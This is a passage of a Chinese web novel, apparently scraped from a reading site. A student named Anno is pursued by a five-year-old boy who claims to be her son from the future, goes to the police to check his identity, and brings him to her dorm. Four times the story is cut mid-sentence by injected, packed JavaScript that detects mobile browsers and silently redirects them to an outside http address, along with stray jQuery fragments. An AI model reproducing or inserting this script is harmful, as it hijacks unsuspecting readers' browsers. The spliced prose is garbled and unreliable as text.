虽然很艰难,但安诺还是狠心地把话说了出来。 声音冰冷且强硬。 她不想因为自己泛滥的同情心招惹无端的麻烦。同样的,更不希望让宝宝对她产生无谓的期待。 说完这句话后,安诺准备挂断电话,但对面的宝宝却心有灵犀似地阻止她道: “妈咪,别挂电话。” 喊出这句请求时,宝宝彻底哭出了声音。 安诺手上动作一顿,心口重重地疼了一下。 这个宝宝让她联想到了半个小时前那个和妈妈走丢的孩子。 当时那个宝宝仿佛抓住救命稻草似地抱住她的大腿。 而现在,电话里面的宝宝同样如此,只不过是以电话的形式在请求她。 和那个走丢的宝宝一样。此时此刻,他一定很害怕很无助吧。 想到这些,安诺终究还是不忍心。 她把手机重新放回耳梢。 “你想说什么。”她问电话里的宝宝,声音不自觉柔了很多。 结结巴巴的,宝宝回答她:“你,你叫安诺,今年20岁,就读于,就读于海定大学行政管理1班。” 听到这里,安诺嘴巴都张了张,眉眼惊讶。 宝宝继续说着:“你的父亲叫安和桥,45岁,经营的是一家生鲜超市。父亲黎玫,43岁,北阳中学语文教师,同时也是教导主任。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“完了,我家宝宝还在补习班呢,我得赶紧去接人。” “哎哟,跑不动了,我们还是叫出租车吧。” …… 一到快下雨的时候,街上就闹哄哄的。 安诺平静地看着眼前的一切,别人都是用跑的,她无精打采地往公交站走去,等走到公交站后,整个人还是心不在焉的。 不过一会儿,公交来了,而且还是安诺要坐的那一班公交车。 “太好了,公交来了。” “对啊,这样子我们就可以不淋雨了。” 有几个老奶奶高兴地直往车上走,人太多了,挤来挤去的,等所有人都上车后,安诺却依旧站在原地。 公交车司机鸣笛提醒她。 “滴滴滴。” 汽笛声锐耳,安诺听见了,但还是站着没动。 自始至终,她没有发呆,虽然脸上看着没什么精神,但她的神志一直清醒着。 她只是一时之间不知道如何处理自己对电话里那个宝宝的感情了。 信他,还是不信他? 去找他,还是不去呢? 安诺万万没想到一个素未谋面的宝宝竟然可以如此左右她的心绪。 如同宿命一般。 “滴……”好心的司机再次鸣笛提醒她。 往些时候司机可没这么大的耐心,今天估计是眼看着要下雨了,所以司机大叔心生怜悯,希望少一些人淋雨。 说时迟那时快,第二道鸣笛声惊起时,大暴雨紧跟着下了下来。 不同于平日里淅淅沥沥的雨水,这次的暴雨仿佛天空漏了一个窟窿一样,雨水成柱状倾泻而下。 仅仅一秒钟,安诺浑身被浇了个遍,但她依旧没上车。 虽是夏天,但雨水落在身上仍旧是凉的。 但也正是这场寒意刺骨的雨水,一下冲刷走了一直环绕在安诺心头的层层雾霾。 远远地,她向司机师傅鞠躬说了声“谢谢”,而后转身,往一个地方跑去。 8. 第8章 殊不知,大雨这头那个在电话里面哭得稀里哗啦的宝宝却美美地坐在亭子里,一边摇晃着小短腿,一边擦拭着眼角那两行演戏的泪水。 “等着瞧吧,我妈咪肯定会来接我的。” 诺宝信誓旦旦地给爷爷们说道。 世界上最善良的人是安诺。 世界上最棒的妈咪也是安诺。 诺宝比谁都笃定。 之前看安诺的朋友圈时,诺宝就这么认为了。 在安诺的朋友圈里,有令人垂涎欲滴的美食,有灯火通明的城市风景,有陪伴父母做家务逛公园的温馨时刻,还有投喂流浪猫流浪狗的生活点滴。 其中,让诺宝最印象深刻的要属安诺曾帮助一个宝宝找到自己的妈妈。 那条动态发布于2024年7月8日,正好是今天。 动态文案是:捡到一个萌萌哒的小宝宝,准备带回家养罗。 评论区里,她自己给自己的评价却是:骗大家的,小宝宝确实是半路捡到的,但马上要带宝宝去找他的妈妈了。在此也嘱咐一下朋友圈的爷爷奶奶爸爸妈妈们,出门一定要看好宝宝啊,不要让悲剧发生在原本幸福美满的家庭里。 动态还配了一张图片,但是没有宝宝的正脸,只有一只大手拉着小手的特写近景。 大手是安诺,小手自然是那个被捡到的宝宝。 基于这件事情,诺宝以为让爷爷们假扮成警察说有宝宝找她,这样安诺就会过来。 没想到的是,他的妈咪虽然善良,但是可不笨,根本忽悠不了一点。以至于两通“警局电话”打过去时根本见不到半点成效,后来也就只有诺宝自己亲自出马了。 电话里,第一次听见安诺的声音时流露出的紧张和激动是真的,只有最后的嚎啕大哭是演的。 即便是演戏,诺宝也演得十分的逼真,而且十分的可怜。 要的就是可怜,演得越凄惨,妈咪来得就越快。 小家伙耍心眼子地这么认为道。 只是老爷爷们被骗了一次又一次,这回终于发现了点破绽。 “小家伙,我刚才好像听你说你是从未来穿越过的?”收音机爷爷第一个觉察出不对劲,“这世界上怎么可能有穿越,你是不是总喜欢这么瞎说?” 诺宝头皮一麻,不好,大事不妙。 “呵呵。”他先是尴尬地笑笑,眼瞧着要露馅了,突然灵机一动找到一个绝佳的唬人话术。 “假的啦假的啦,我妈咪喜欢看穿越小说,这是我和她的神秘暗号。”他说。 “是吗?”收音机爷爷将信将疑,其他两位爷爷也投来质疑的目光。 诺宝重重地点头:“是啊。” 声音脆生生的,满脸的天真无邪。 爷爷们不说话了。 很显然又被忽悠了进去。 …… 在等妈咪来接他的时间里,诺宝被三个爷爷围着,宛若一个小皇帝。 怕他渴,白胡子爷爷跑去给他买了冰镇饮料,怕他饿,收音机爷爷从公园门口给他买回来了一个大大的烧饼,怕他热着,蒲扇爷爷坐在旁边一直不停地给他扇风。 这小日子,好不快活。 安诺赶来时,看见的便是左手拿饮料,右手拿烧饼,要多自由有多自由要多潇洒有多潇洒的诺宝。 对比一下自己,从头到脚湿漉漉的。 虽然暴雨早就停了,但她这一路跑来,身上的雨水还是没能沥干。此时此刻,纯粹一副落汤鸡模样。 一路奔波,她大口大口地喘着气,整个人累得双手插腰,身子都站不直了,脸颊和脖子上还带着一大片红晕,豆大的汗水连着湿哒哒的头发一同散落在脸畔。 这模样,实属是有些狼狈了。 电话里,听小家伙哭哭哒哒的声音,她还以为真是个没人要的宝宝,可怜得很。 好家伙,如今看来还是她多虑了? 最重要的是,这么多人围在那里,看着也不是警察啊…… “呼。”安诺吹起额头的一撮毛,心里有多窝火不言而喻,但她还是没有第一时间转身离开。 她就站在那里,目光随着时间的流逝,从一开始的怒火中烧逐渐变得柔和冷静,再后来,疑惑质疑的神色布满眼眸。 这小孩儿…好像真的有点像她小时候。 越想越觉得心里发慌。 安诺一下掏出手机,她打开相机的前置摄像头先是瞅瞅自己,再目光放远看看亭子里的诺宝,而后又回头看看手机里的自己。 最后… “妈呀!真的有点像欸。” 紧接着,“走走走,赶紧走。” 说着她真扭头走了,甚至脚下的步子捣腾得越来越快,仿佛身后有鬼在追她一样。 可当诺宝脆生生的喊她“妈咪”时,她却又控制不住地身形一顿。 暴雨过后,太阳公公又从云层里露出了半个脑袋出来。 耀眼的斜阳下,诺宝被三个爷爷围着,爷爷们这个逗逗他,那个捏捏他的脸颊,他的注意力全被分散走了。 等喝完一瓶果汁准备扔饮料瓶时,小家伙这才注意到正前方十几米处有道可疑的背影。 熟悉的浅紫色碎花短裙,诺宝在安诺的朋友圈里见到过。 “妈咪。” 小家伙一下跳下板凳,兴奋道。 声音清脆响亮。 安诺定在原地,她也不知道自己为什么会这样。 兴许是孩子的声音太稚嫩动听,又或者是纯粹是出于好奇,好奇这孩子到底来自哪里,为什么会这么执意认她做“妈咪”。 疑惑的,不安的,心跳扑通扑通的,安诺缓慢且卡壳地回头看了过来。 两人视线对上时,安诺明显慌了一下,眼波轻颤。 眼下,安诺也说不出来自己到底是怎样的一种感受。 各种情绪交织着,很乱很乱。 这边诺宝却是高兴坏了,满脸兴奋地喊道: “妈咪,你终于来找我啦”。 呼喊着,小家伙背着小青蛙书包直朝她飞奔而来。 身后的三位老爷爷信了小鬼之前的那些胡话,以为安诺真是诺宝的妈妈,所以小家伙离开时他们并没有有所阻拦。但凭心而论,三位老爷爷是真心喜欢诺宝,觉得小家伙古灵精怪得招人稀罕得很,就是皮了点,于是隔着老远的距离,三位爷爷还是不放心地多叮嘱了一句: “小家伙,下次不许再乱跑了哦。” 诺宝随口一答:“好的。” 一心只想着朝安诺跑去。 三位爷爷明了地笑了笑,都知道小家伙心里在想什么,于是没再多停留什么,相约着一同离开,当不了“碍脚石”半点。 此时的安诺,早在诺宝奔向她的那一刻就愣神了。 一个未曾谋面的胖宝宝一路向她飞奔而来,还满脸欣喜,眼里全是她。 如此匪夷所思的事情搁谁身上都会惊慌无措。 再则,诺宝和之前那个走丢的宝宝完全不同,下午那个宝宝看见安诺的脸时一下露出了失望的表情,而这个宝宝却依然一副开心兴奋的模样,这说明在宝宝的眼里他压根没认错人。 她就是他的妈妈。 意识到这个“事实”时,安诺“嘶”地一声,倒抽一口冷气。 此时,宝宝正好来到了她的跟前,根本不给她任何心理准备的,小家伙“扑通”一下直接抱住她的大腿。 “妈咪,我终于见到你了。”小鬼又说道。 这次语调低低的,夹杂着微弱的哭腔,带了委屈似的。 一切来得太突然了。 安诺像木棍子一样杵着,张嘴想说什么,却什么都说不出来。伸手想推开孩子,却又狠不下心。最后只能干愣着,仍由心神错乱。 而宝宝抱住她后,那架势看着一时半会儿并不准备撒手的样子,嘴里还一直叽里呱啦地一通倾诉: “妈咪,我真的太开心了,你知道我多想你吗?” “以后我要和妈妈好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183748|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好生活在一起。” “放心妈咪,从现在开始宝宝会保护你的,我绝对不会让任何人欺负你。” 安诺的思绪早已乱成一锅粥,心里的os是: 啊?! 发生什么了?为什么…为什么要保护我? “真的,妈咪我是说真的,这次我肯定会保护好你的。” 小家伙又一次发誓道,言辞真挚,神色认真。 安诺就这么看着,十分不合时宜的,她忽然想起了那个噩梦。 梦里,宝宝变成的蜘蛛死死抱住她的双腿,和现在诺宝抱住她的姿势一模一样。 忽地双腿一软,安诺直接一屁股坐在了地上。 “哎哟,好疼哦。”小家伙一声叫唤。 因为抱着安诺的缘故,安诺倒地上时,他也跟着摔了个狗吃屎。 安诺没心情在意这些小细节,抬眸,哭兮兮着一张脸认真发问道: “你那个,一会儿不会变成蜘蛛吧?” 诺宝捂着自己被摔疼的屁股,“啊!?” 这回换他懵圈了。 -- 10分钟后,安诺的神智彻底回神过来,两人一大一小地坐在亭子里,之前一直照顾诺宝的三个爷爷早走了,正好给他们两人腾出位置来。 在这10分钟里,安诺和诺宝发生了不下10次的口舌之争,争辩的议题自然是安诺到底是不是诺宝的妈咪。 很显然,安诺的主张是“不是”,而诺宝坚定地反驳“就是就是”,最后还气势汹汹地扬言道:“不信我们去验DNA啊。” 安诺“呵”地一下笑了出来,“你还知道验DNA?” 诺宝大大地翻了个白眼: “我智商140呢,你以为像你啊。” “140?”安诺确实是有些惊讶了。说着她开始翻找手机。 诺宝知道她想干什么,瘪瘪嘴巴说: “不用查了,爱因斯坦智商160。” 安诺立马停下手上的动作,嘴巴微张地看向诺宝。 这小孩怎么回事啊,会读心术吗? 诺宝十分淡定地看着她,“我不会读心术,更不是你肚子里的蛔虫。” 说完歪唇一笑,得意中带着一丝丝无情的嘲笑,仿佛在说: 妈咪,你根本不是我的对手,所以你还是放弃挣扎吧。 安诺人都傻了,无话可说地坐着。 这下两人争论不休的嘴巴终于消停了下来。 安静中,诺宝偷偷转动眼珠子,目光悄悄地打量安诺。 从见面开始两人就是各种争吵,这是诺宝第一次安安静静认认真真地看安诺。 长长的睫毛,长得和他一模一样,白白的皮肤,精致玲珑的五官也和他好像。 在他很小很小的时候有人说他长得像洋娃娃,现在看来,如果他是洋娃娃,那他的妈咪一定是可爱又美丽的芭比娃娃。 诺宝越看越入迷,与此同时他想起一个人,在心里忍不住吐槽道: 妈咪这么好看爸比都喜欢不上,真的是,怕不是个瞎子。 这边,安诺也有要吐槽的事情。 别人命里有编书都不用翻,怎么轮到她这里就变成了命里有娃甩都甩不掉啊? 静静地坐着,她越想越觉得自己倒霉,最后直接从石凳子上站起身子,叉腰冲诺宝发号司令道: “走,我带你去警察局。” “啊!”宝宝先是被安诺吓了一跳,反应过来后,平静道:“没用的,警察叔叔根本查不到我的身份。” “因为我根本就不属于这个世界。” 听完安诺“切”声笑了:“我才不相信你这个小鬼。” 眼看安诺如此执着,诺宝无奈地撇嘴角,“好吧,我跟你去,不过…” 说到这里,小家伙跳下石凳,又伸出小胖手去拍了拍安诺的胳膊,像个小大人似地嘱咐道: “到时候你可别哭鼻子哦。” 安诺:“……” 9. 第9章 下午三点半,安诺得偿所愿地来到警察局。 诺宝死活不进去,因为他知道他要敢跟着进去那他今天就别想再踏出这警局大门一步了。 在2024年这个世界里,他没有身份,俗称黑户。 这是绝对不被允许的。 安诺没想这么深,在她看来,诺宝不过是一个从家里瞎溜出来的小屁孩而已。 诺宝也懒得解释了,妈咪要进警察局验证那就验证吧。 验不出结果才会真的死心。 最后,诺宝被安诺托管给了警局大门口的保卫大爷看着。 警务大厅里,坐了一排值班的警察,一个40出头的警察大哥坐在电脑面前,一边敲电脑一边重复安诺的口述: “傅一诺,5岁,户籍地海城。” “对对对,没错。” 安诺重重地点头,深怕出现什么纰漏,她还特意补充道: “傅是单人旁那个傅,一是一二三四的那个一,诺是诺言的诺。” 警察大哥抬头看她,“知道了,你刚才已经强调过一遍了。” 安诺:“呵呵…是吗?” 笑容尴尬。 “身份证号码是多少?”大哥又问。 安诺笑得更尴尬了,因为她实在说不出口。 "310***20250601****"这便是诺宝告诉她的身份证号码。 乍一看并没有什么问题,可稍加注意又能发现其中大有蹊跷。 “20250601”正处身份证号码的7到14位,这代表着诺宝的出生年月日。 “2025年6月1日!!!”当时安诺差点没把下巴惊掉。 现在才2024年呢,哪来的2025!? 如今面对警察大哥,反正安诺念不出口那串身份号码。 她都觉得荒唐,何况是心如针细的警察同志呢。 “那个,身份号码确实不记得了,但我有照片,我有照片的。” 就这么生硬的,安诺直接转移了话题。说着,她飞快地翻出手机里的照片给警察大哥看。 半个小时前,为了从诺宝那里挖到有用的个人信息她可没少花费功夫和力气,又是买糖又是买水枪的,甚至最后还同意了一条离谱至极的“霸王条约”。 "如果警察叔叔查不到我的身份信息,那你必须同意留下我,并且让我和你一起生活。" 这便是诺宝提出的霸道要求。 安诺一时没辙,所以打哈哈应承了下来:“行行行,你说什么都行。” 那会儿她纯粹是为了套话所以胡乱忽悠人的,心里想的是就这么一个活生生的小胖娃,警察怎么可能查不出来身份信息,除非… 除非这世道闹鬼。 想到这里,安诺直勾勾地盯着查案的警察大哥。 别说,这会儿她还真有点怕了。怕闹鬼,头皮都在发麻。 偷偷地,她咽了咽干涩的喉咙。 眼下警察大哥的侦查结果予她而言至关重要。 “啪啪啪。”警察大哥飞速地敲打着电脑键盘,安诺紧张得又咽了咽口水。 两分钟后,随着最后一声敲击声落下,一切尘埃落地。 警察大哥彻底停下了手上动作。 看样子是查询有结果了。 “怎么样怎么样?确实是有傅一诺这个小孩对吧?” 警察大哥眉心紧蹙,并没有直接回答安诺的问话,而是厉声质问道: “你的讯息和照片从哪里来的?” 伴随着的是一记死亡凝视。 一瞬间安诺心头一颤,紧接着一股电流直窜眉心骨,最后密密麻麻的触电感爬上头皮。 “这,我?”她磕磕巴巴的脑袋一片空白,根本不知道该怎么回答。 警察大哥问话的这一刻,安诺的心里就跟明镜似的清楚得很。 人警察大哥这是把她当成拐卖儿童的人贩子了! 因为查不到傅一诺的信息,所以警察大哥对她起疑心也是无可厚非的事情。 “我…” 支吾着,安诺还是抖不出一句利索话来。 早知如此,她就不来这里了。 可惜现在一切都晚了。 要不,要不跑了算了? 在这紧要关头,她甚至谋生出了这样一个念头。 结果最后一通电话打断了她。 “叮铃铃”的,把安诺吓一大跳。 手忙脚乱的,她从斜挎包里找手机。 反正也不知道怎么应付警察大哥,她没得选所以接通了电话,想着能拖延一会儿是一会儿。 此时警察大哥坐在电脑面前,还是一副死亡凝视的眼神盯着她。 仿佛在说看她能闹出什么花儿来。 “喂?”安诺接通电话。 几秒后… “什么,你说照片是你电脑合成的,小朋友的信息也是你瞎编的?” 紧接着她直接恼怒起来: “你怎么可以这样呢?你知不知我真的来警察局查这个小朋友的信息来了啊?” “我以为你真的被照片里的小孩电信诈骗了呢,神经病啊你。” 说完,安诺气汹汹地挂断了电话,然后满脸愧疚地看向警察大哥:“抱歉啊警察同志,我…” 话说一半,后面懂得都懂。 女孩最后难为情地笑笑,而后转身麻利地溜了。 身后警察大哥并没追出来,安诺一心只想着赶紧逃走,没空回头看警察大哥的脸上挂着什么神色。 反正直到她最后跑出警察大院那位大哥也没跟出来。 估摸是…真信了她的鬼话? 安诺只能做出如此猜想。 …… 走出警察局,安诺一只手捂胸口,一只手扶墙,就站在警局大门口心有余悸的大口大口地喘着气。 “怎么样?” 一个不注意诺宝突然蹦了出来,把安诺吓得整个一哆嗦。 “不是,你阿飘转世啊?”她气说道。 阿飘转世,说人是鬼,走路没声的意思。 诺宝懒得理会这些胡遭话,咧着一张笑脸,故意重新问道: “怎么样,警察叔叔有查到什么吗?” 闻声,安诺一张小脸直接拉垮了下来。 “呵呵。”她苦笑两声,无奈中透着几分“杀心”。 其实刚才那通电话是诺宝借用门卫大叔的手机打给她的,那些为了蒙混过关而胡诌的话术也是诺宝教她说的。 所以,明明什么都知道却偏偏装出一副什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183749|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道的样子问东问西的。 这算什么? 这分明是在故意挖苦她呢。 “呵。”安诺又自嘲地笑了声。 不过话说回来,当注意力重新落在诺宝的脸上时,她真的挺佩服诺宝的。 就这么一个小屁孩,个子小小的,脑袋也小小的,怎么会预料到她会被警察怀疑呢?更离谱的是小鬼竟然还会亲自打电话教她如何摆脱嫌疑。 真的是…强得可怕啊! 安诺愣愣地打量着人,被诺宝异于同龄小孩的智商惊讶到了。 诺宝却以为她是有什么不舒服的地方。 因为她一直一言不发的。 “你怎么了?”小家伙担心地问道,小胖手还伸出来戳了戳她的手臂,“你该不会是因为接受不了现实,所以抑郁了吧?” 话音过耳,安诺被迫回过神来。 她没多说什么,只是免为其难地抿嘴笑了笑。 抑郁? 她最近半个月的遭遇哪里是“抑郁”两个字能概括清楚的。 完整地说起来,那简直是愤怒,憋屈,无语,恨天道不公,觉万物有过。 算了算了,说不完根本说不完。 安诺长叹一口气。 这时诺宝又特别“嘴甜”地安慰了她一句,气得安诺差点没一口老血吐出来。 “多大的事儿啊,你要学会坚强,对吧妈咪?” 瞬间,安诺肩膀都塌了。 一声“妈咪”,一世责任。 她苦哈哈地咬动唇角。 她就一穷苦大学生,自己都养不活呢,哪里能承担“妈咪”这个重任啊。 可诺宝就一5岁小屁孩,她总不能把人扔大街上弃之不顾吧。 何况,她还自己亲口答应过的,如果警察查不出诺宝的身世,她就允许诺宝和她一起生活。 “哎。” 憋不住的,安诺又叹了一口气。 真是哑巴吃黄连,有苦说不清。 扶着墙,她颤颤巍巍地往前走去。 脚下的每一步都是那么的沉,那么的重。 诺宝屁颠屁颠地跟在后面。 终于,在最后的一个拐角处安诺实在撑不住了。 “宝宝啊——” 20岁的小姑娘,就这么旁若无人地瘫坐在地上,对着一个5岁孩子哭诉道: “青天大老爷作证,我真的不是你的麻麻,我我我…” 后面要说的话,安诺哭得更大声了。 “我,我连男朋友都没有一个啊T.T” 说完,她的眼眶一片通红,晶莹剔透的眼泪珠子在里面转啊转。 碰到这种事情,确实挺委屈的。男朋友都没有一个,结果从天而降一个宝宝,这叫什么事情嘛。 想着想着,安诺彻底放纵起来,哭声“哇哇”的,修长的双腿在地上不停地蹬啊蹬。 就这委屈又郁闷的哭包模样,比诺宝还像个宝宝。 诺宝看着也挺着急的,弯下身子一下抱住了安诺,还十分贴心地拍安诺的后背安慰道: “妈咪你别急,你先别急嘛,男朋友早晚会有的。” “哇…”安诺哭得更大声了。 重点是没男朋友吗,重点是我不是你妈咪啊t.t 10. 第10章 “哼……哼…嗯…哼…” 这不是什么奇奇怪怪的声音,而是安诺在抽噎。 街头的一棵银杏树下,安诺和诺宝并排蹲在一起,像两颗蘑菇。 一大一小。 街上,“滴滴滴”的汽笛声起了落,落了起。 也不知道过了多久,小蘑菇蹲不下去了,身子朝安诺这边挪了挪,小声问道: “妈咪,你哭好了吗?” 问话时还抽了一张纸巾过去。 安诺接过抽纸,抽抽噎噎的:“没哭好,怎,怎么了?” 诺宝把头往衣领子里缩了缩:“那你哭快一点好不好?” 安诺:“……不好。” 诺宝:“可是他们都在看我们欸。” 闻声,安诺这才把头抬了起来。 身旁路过的行人全在看她。 诺宝:“好,好丢人哦。” 安诺老脸一红:“……确,确实。” …… 下午6点,安诺带着宝宝出现在了海定大学行管501寝室。 不出意料的,三个室友一个不落的全都在。 拥有1米7标准模特身材的许晓筱半坐在自己床上,身形圆胖的小胖妹张雨桐带着圆圆的眼镜坐在书桌前。 而寝室里体型最瘦小的林倩倩正站在阳台上,一只手拿着晾衣杆一只手拿着衣架,看样子正在晾衣服。 但因为安诺和诺宝的出现,寝室三人组无一例外地都停下了手上的事情,个个瞪着眼睛看向寝室大门的方向。 眼睛都看直了。 “怎么回事啊诺诺,你不是去面试去了吗,怎么最后带回来一个私生子啊?” 说话人是许晓晓。 问话时,她已经尽力让自己的语气听起来像是在调侃人了,但她脸上的表情出卖了她。 那神色比期末考试还严肃认真,眼珠子不停地左右转动,都快把安诺和诺宝对比出花儿来了。 “这也太像了吧?”她又感叹道。 小胖妹张雨桐也忍不住附和说:“对啊,太像了。” 说话时,眼睛睁着圆圆的,目光几乎黏在安诺和诺宝的身上。 离得最远的林倩倩虽然没说话,但是眼睛里的震惊神色已经表明她和许晓筱她们的想法是一样的。 安诺和诺宝一高一矮地并排站在寝室门口,挺尴尬的。 一时没地方可去,安诺只好先把诺宝带到寝室来。 听完几人的讨论后,安诺心里虚得很。 毕竟连她自己都觉得诺宝和她长得有些相像。 默默的,她低头又瞧看了好几眼跟前的小鬼。带着几分侥幸,企图找出诺宝和自己不太相似的地方,以此反驳许晓筱三人。 哪想,左看右看上看下看后,这怎么…… 怎么还看出了几分傅凌霄的影子来啊!? 而且傅凌霄,傅一诺。 都姓傅!? 这么巧的吗? 该不会……傅一诺就是傅凌霄的孩子吧!? 可傅一诺非追着喊她妈咪,那她算什么? 傅凌霄的小宝贝?小情人? “啊啊啊啊啊啊!” 女孩在心里一阵嘶吼咆哮。 被自己的最后一个想法吓死了。 使劲摇了摇头后,安诺努力冷静地介绍道:“这小鬼叫傅一诺,是我的…” 声音拖着,突然卡壳了。 半秒后,她艰涩地拐弯:“是我的表弟。” 许晓筱一听,“害,原来是表弟啊,我说怎么长得这么像。” 张雨桐和林倩倩也跟着表情松了松。 只有诺宝疑惑地皱了皱眉头。 一不小心,他竟然成了自己妈咪的表弟!? 但很快小家伙又反应了过来。 在2024年的世界里,他的妈咪才20岁,而他是个5岁的孩子,按理说他们确实也只能是姐弟关系。 “哈喽大家好,你们可以叫我诺宝。” 最后小家伙热情地和大家打招呼道。 …… 许晓筱张雨桐还有林倩倩都是挺好相处的人,也都很喜欢小朋友。 简单一声招呼后,三人的注意重回诺宝身上。 “哇,你好可爱啊诺宝!”许晓筱惊叹道,说着就准备从床上下来,看样子是想过来rua一rua这个活的玩偶宝宝。 “像洋娃娃一样,眼睛大大的,睫毛也很长,太可爱了吧。”林倩倩站在阳台也发出赞美。 “好想捏一下哦。” 张雨桐说着话就往诺宝这边凑,外加一个从床上下来的许晓筱。 看得出来她们三个是真的很喜欢诺宝。 就是那准备rua人的架势看着有点恐怖。 安诺吓得直往安诺身后躲。 那种感觉就仿佛自己是一只肉质鲜美的小猪,稍不注意,眼前这三个失控的女妖精就会把他吃光抹净。 安诺只是觉得有些好玩,好笑道:“你们三个能不能控制一点啊,没见过小宝宝吗?” 许晓筱:“没见过。” 张雨桐:“我也没见过。” 安诺:“……” 最后只剩下林倩倩稍微正常一点,人回答说:“我见过。” …… 晚上,501宿舍因为诺宝的到来决定搞一个欢迎派对。 主要是人来疯许晓筱想搞,安诺可一点心情都没有。 背债1万2,实习没着落,现在还有一个小屁孩要养,明后天她还得给小家伙找个居住的地方。 她急得脑袋都快冒火星子了,整个人独坐在书桌前,一阵发愁。 对面,许晓筱几人围坐在一起一通闹腾。 诺宝也被拉了过去,小家伙刚到寝室时本来挺认生的,结果一听三个姐姐说要买好吃的,人立马屁嘚儿屁嘚儿的就凑了过去。 真是没骨气。 安诺暗自揶揄。 “我要喝可乐。”小家伙兴奋地点餐。 姨母1号许晓筱:“好。” 小家伙:“我还要吃炸鸡腿。” 姨母2号张雨桐:“可以。” “草莓蛋糕我也要吃。” 姨母3号林倩倩:“没问题。” 三个没带娃经验的姨母就这么任凭诺宝东点西点的,点一堆垃圾食品。 换做是以前,在傅凌霄的吩咐下保姆们根本不可能让诺宝接触到这些东西。 现在好了,没人管他了,这可把小家伙高兴坏了。身子靠在张雨桐的书桌上,屁股扭来扭去的,下一秒又想到了什么,激情开麦道: “哦,我还想喝吃…” 安诺急忙阻止道:“傅一诺。” 这是她第一次叫诺宝的全名,语气挺凶的。 因为她实在听不下去了。 “啊?”小家伙疑惑地回头。 许晓筱三人也跟着看过去。安诺倒吸一口气,立马不好意思继续往下说了。 本来她只是想让诺宝少点一些外卖而已,这下倒好,四个人四双眼睛直溜溜地看着她。 弄得她根本不好开口教训人,最后只得尴尬地笑笑: “呵呵,没什么事,你们继续。” 闻声,四颗脑袋齐刷刷地回头,而后又是一番热闹景象,独留安诺坐在位置上一阵苦笑。 呵呵,没事哒没事哒,不就几百块钱吗,花了就花了吧。 大家开心就好。 这边她刚做完心理建设,那边诺宝就兴高采烈道: “太开心了,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183750|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再买2个榴莲吃吧。” 不是1个榴莲,而是2个榴莲! 顷刻间,安诺仿佛听见了金钱哗啦啦往外掉的声音,还有… 她独自心碎的声音。 …… 晚上7点,外卖到了。 501宿舍四大仙女外加诺宝总共5人围坐在一起,中间的“饭桌”是用她们四个人的小书桌拼接的。 “大饭桌”上摆满了一堆外卖,还没拆封。 提起吃东西,小胖妹张雨桐最积极,首先拆开面前的大包装袋高兴道:“哦,是奶茶。” “来来来,一人一杯。” 奶茶递到每个人的手里时,个个都开心极了,除了安诺,拿着奶茶在心里默默地叹了一口气: 好的,七八十块钱没了。 之后许晓筱和林倩倩也加入了拆外卖队伍。 许晓筱:“哇哦,美味可口的草莓蛋糕!” 安诺奔溃的内心:50块钱也没了t.t 林倩倩:“来来来,烧烤就位。” 安诺默默地露出一抹哭唧唧的苦瓜脸: 呵呵呵,200块钱也没了。 后面,拆外卖的声音此起彼伏。 安诺已经分不清楚谁是谁的声音了,只感觉自己快晕过去了。 “一大份炒河粉来罗!” “哦,这是晓筱点的柠檬鸡爪。” “来了来了,这是小诺宝点的可乐。” “哇这是什么,糍粑冰粉,也是小诺宝点的。” “葡萄口味的冰激凌,嗯,好像也是小诺宝点的。” “咦!还有蛋黄酥!我最喜欢吃蛋黄酥了,但是我没点啊,你们谁点的?” 嘈杂中有个声音回答道:“小诺宝点的。” “来来来,最重量级的两个包裹来了。” “哇塞,大榴莲!” “哦哟,我这里也有一个榴莲!” “谁点的?”有人问。 之后是两道超开心且超大声的回答声:“小诺宝———” 听完所有,毫无疑问的,出镜率最高的除了“小诺宝”还是“小诺宝”。 这个是小诺宝点的,那个还是小诺宝点的。 怒火中烧的安诺甚是无语地转头,恶狠狠的目光恨不得把身旁的诺宝戳出一个洞来。 结果小家伙不以为然地冲她吐舌头,“略略略。” 气得安诺牙齿都快咬碎了。 没事的没事的,早晚有一天我会把你屁股打烂的。 …… 吃东西的时候,安诺的心情也没好转一点。 别人是好香好香,安诺是好贵好贵。 “嗯,这个好吃。” “这个这个,这个烤羊肉串好香,油滋滋的。” “哇,吃口烧烤再喝一口可乐简直是绝配!” 